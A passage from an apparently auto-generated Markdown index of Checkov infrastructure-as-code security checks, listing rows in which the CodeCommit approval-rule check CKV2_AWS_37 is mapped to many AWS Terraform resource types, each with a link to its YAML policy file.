[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1373 | CKV2_AWS_37 | resource | aws_dx_macsec_key_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1374 | CKV2_AWS_37 | resource | aws_dx_private_virtual_interface | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1375 | CKV2_AWS_37 | resource | aws_dx_public_virtual_interface | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1376 | CKV2_AWS_37 | resource | aws_dx_transit_virtual_interface | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1377 | CKV2_AWS_37 | resource | aws_dynamodb_contributor_insights | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1378 | CKV2_AWS_37 | resource | aws_dynamodb_global_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1379 | CKV2_AWS_37 | resource | aws_dynamodb_kinesis_streaming_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1380 | CKV2_AWS_37 | resource | aws_dynamodb_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1381 | CKV2_AWS_37 | resource | aws_dynamodb_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1382 | CKV2_AWS_37 | resource | aws_dynamodb_table_export | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1383 | CKV2_AWS_37 | resource | aws_dynamodb_table_item | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1384 | CKV2_AWS_37 | resource | aws_dynamodb_table_replica | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1385 | CKV2_AWS_37 | resource | aws_dynamodb_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1386 | CKV2_AWS_37 | resource | aws_ebs_default_kms_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1387 | CKV2_AWS_37 | resource | aws_ebs_encryption_by_default | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1388 | CKV2_AWS_37 | resource | aws_ebs_fast_snapshot_restore | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1389 | CKV2_AWS_37 | resource | aws_ebs_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1390 | CKV2_AWS_37 | resource | aws_ebs_snapshot_block_public_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1391 | CKV2_AWS_37 | resource | aws_ebs_snapshot_copy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1392 | CKV2_AWS_37 | resource | aws_ebs_snapshot_import | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1393 | CKV2_AWS_37 | resource | aws_ebs_volume | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1394 | CKV2_AWS_37 | resource | aws_ec2_availability_zone_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1395 | CKV2_AWS_37 | resource | aws_ec2_capacity_block_reservation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1396 | CKV2_AWS_37 | resource | aws_ec2_capacity_reservation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1397 | CKV2_AWS_37 | resource | aws_ec2_carrier_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1398 | CKV2_AWS_37 | resource | aws_ec2_client_vpn_authorization_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1399 | CKV2_AWS_37 | resource | aws_ec2_client_vpn_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1400 | CKV2_AWS_37 | resource | aws_ec2_client_vpn_network_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1401 | CKV2_AWS_37 | resource | aws_ec2_client_vpn_route | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1402 | CKV2_AWS_37 | resource | aws_ec2_fleet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1403 | CKV2_AWS_37 | resource | aws_ec2_host | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1404 | CKV2_AWS_37 | resource | aws_ec2_image_block_public_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1405 | CKV2_AWS_37 | resource | aws_ec2_instance_connect_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1406 | CKV2_AWS_37 | resource | aws_ec2_instance_metadata_defaults | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1407 | CKV2_AWS_37 | resource | aws_ec2_instance_state | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1408 | CKV2_AWS_37 | resource | aws_ec2_local_gateway_route | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1409 | CKV2_AWS_37 | resource | aws_ec2_local_gateway_route_table_vpc_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1410 | CKV2_AWS_37 | resource | aws_ec2_managed_prefix_list | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1411 | CKV2_AWS_37 | resource | aws_ec2_managed_prefix_list_entry | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1412 | CKV2_AWS_37 | resource | aws_ec2_network_insights_analysis | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1413 | CKV2_AWS_37 | resource | aws_ec2_network_insights_path | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1414 | CKV2_AWS_37 | resource | aws_ec2_serial_console_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1415 | CKV2_AWS_37 | resource | aws_ec2_subnet_cidr_reservation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1416 | CKV2_AWS_37 | resource | aws_ec2_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1417 | CKV2_AWS_37 | resource | aws_ec2_traffic_mirror_filter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1418 | CKV2_AWS_37 | resource | aws_ec2_traffic_mirror_filter_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1419 | CKV2_AWS_37 | resource | aws_ec2_traffic_mirror_session | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1420 | CKV2_AWS_37 | resource | aws_ec2_traffic_mirror_target | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1421 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1422 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_connect | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1423 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_connect_peer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1424 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_default_route_table_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1425 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_default_route_table_propagation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1426 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_multicast_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1427 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_multicast_domain_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1428 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_multicast_group_member | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1429 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_multicast_group_source | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1430 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_peering_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1431 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_peering_attachment_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1432 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_policy_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1433 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_policy_table_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1434 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_prefix_list_reference | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1435 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_route | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1436 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_route_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1437 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_route_table_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1438 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_route_table_propagation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1439 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_vpc_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1440 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_vpc_attachment_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1441 | CKV2_AWS_37 | resource | aws_ecr_account_setting | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1442 | CKV2_AWS_37 | resource | aws_ecr_lifecycle_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1443 | CKV2_AWS_37 | resource | aws_ecr_pull_through_cache_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1444 | CKV2_AWS_37 | resource | aws_ecr_registry_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1445 | CKV2_AWS_37 | resource | aws_ecr_registry_scanning_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1446 | CKV2_AWS_37 | resource | aws_ecr_replication_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1447 | CKV2_AWS_37 | resource | aws_ecr_repository | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1448 | CKV2_AWS_37 | resource | aws_ecr_repository_creation_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1449 | CKV2_AWS_37 | resource | aws_ecr_repository_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1450 | CKV2_AWS_37 | resource | aws_ecrpublic_repository | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1451 | CKV2_AWS_37 | resource | aws_ecrpublic_repository_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1452 | CKV2_AWS_37 | resource | aws_ecs_account_setting_default | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1453 | CKV2_AWS_37 | resource | aws_ecs_capacity_provider | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1454 | CKV2_AWS_37 | resource | aws_ecs_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1455 | CKV2_AWS_37 | resource | aws_ecs_cluster_capacity_providers | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1456 | CKV2_AWS_37 | resource | aws_ecs_service | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1457 | CKV2_AWS_37 | resource | aws_ecs_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1458 | CKV2_AWS_37 | resource | aws_ecs_task_definition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1459 | CKV2_AWS_37 | resource | aws_ecs_task_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1460 | CKV2_AWS_37 | resource | aws_efs_access_point | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1461 | CKV2_AWS_37 | resource | aws_efs_backup_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1462 | CKV2_AWS_37 | resource | aws_efs_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1463 | CKV2_AWS_37 | resource | aws_efs_file_system_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1464 | CKV2_AWS_37 | resource | aws_efs_mount_target | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1465 | CKV2_AWS_37 | resource | aws_efs_replication_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1466 | CKV2_AWS_37 | resource | aws_egress_only_internet_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1467 | CKV2_AWS_37 | resource | aws_eip | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1468 | CKV2_AWS_37 | resource | aws_eip_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1469 | CKV2_AWS_37 | resource | aws_eip_domain_name | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1470 | CKV2_AWS_37 | resource | aws_eks_access_entry | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1471 | CKV2_AWS_37 | resource | aws_eks_access_policy_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1472 | CKV2_AWS_37 | resource | aws_eks_addon | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1473 | CKV2_AWS_37 | resource | aws_eks_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1474 | CKV2_AWS_37 | resource | aws_eks_fargate_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1475 | CKV2_AWS_37 | resource | aws_eks_identity_provider_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1476 | CKV2_AWS_37 | resource | aws_eks_node_group | Ensure 